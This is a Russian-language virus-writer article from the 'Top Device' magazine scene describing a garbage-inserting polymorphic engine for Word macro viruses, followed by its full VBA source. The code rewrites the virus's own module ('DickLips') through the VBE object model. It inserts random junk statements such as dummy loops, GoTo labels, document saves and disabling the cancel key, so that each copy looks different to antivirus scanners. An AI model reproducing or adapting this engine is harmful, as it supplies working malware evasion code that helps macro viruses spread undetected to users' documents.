Решил  я  написать  макро  полиморфик  который  бы раскидывал мусор по
вирусу..  Этот полиморфик отличается от ZSZPE тем, что он не шифрует тело
и расставляет команды в разные строки а не через одну.

мусорные команды очень просты типа:

-вирусный код -
For ? = 1 To 1  'команда мусор
-вирусный код -
Next ?          'команда мусор

где ? - рандомная буква

Эти команды никак не влияет на работу вирус...

Морфик использует мусор:

- On Error Resume Next
- ' Rem 4568436574 (random)
- GoTo EE6DC0DA (random)
  EE6DC0DA:
- For U = 1 To 1
  Next U
- Randomize
- A = "U" (random)
- Application.ActiveWindow.Activate
- ActiveDocument.Save
- If IL = 26 Then SX = 28 (random)
- Application.EnableCancelKey = 0

(random) - цифры или буквы все время по разному генерируется....


Sub DLRGMP()

' DickLip$ RANDOM GARBAGE MACRO POLYM0PHIC by ULTRAS[MATRiX]

On Error Resume Next

Randomize

num = Int(Rnd * 11) + 1

numz = Int(Rnd() * 11 + 1)

For Gen = 1 To numz

Strz = Application.VBE.ActiveVBProject.VBComponents("DickLips").codemodule.CountOfLines

Ral = Int(Rnd() * Strz + 1)

rnd10 = Int(Rnd * 10)

MiNu2 = Int(Rnd() * 9999 + 1)

For MuGe = 1 To numz

garbage = Application.UserAddress & Application.UserName & Application.UserInitials

jumpz = Chr(Int(Rnd * 5) + 65) & Hex(CStr(Oct(rnd10 ^ 4) & CStr(Day(Date)) & CStr(Minute(Time)) & CStr(Hour(Time))))

If num = 1 Then zom$ = "'Rem " & garbage

If num = 2 Then zom$ = "Goto " & jumpz & Chr(13) & "' " & jumpz & ":"

If num = 3 Then zom$ = "" & Chr(Int(Rnd * 5) + 65) & " = """ & Chr(Int(Rnd * 5) + 65) & """"

If num = 4 Then zom$ = "Randomize"

If num = 5 Then zom$ = "For " & Chr(rnd10 + 65) & " = 1 To 1" & Chr(13) & "Next " & Chr(rnd10 + 65)

If num = 6 Then zom$ = "Application.ActiveWindow.Activate"

If num = 7 Then zom$ = "ActiveDocument.Save"

If num = 8 Then zom$ = "If " & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & " = " & CStr(Int(Rnd * 45)) & "Then " & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & " = " & CStr(Int(Rnd * 45))

If num = 9 Then zom$ = "Application.EnableCancelKey = 0"

If num = 10 Then zom$ = "On Error Resume Next"

Next MuGe

Application.VBE.ActiveVBProject.VBComponents("DickLips").codemodule.InsertLines Ral, "" & zom$

Next Gen

End Sub

 Статья для журнала Top Device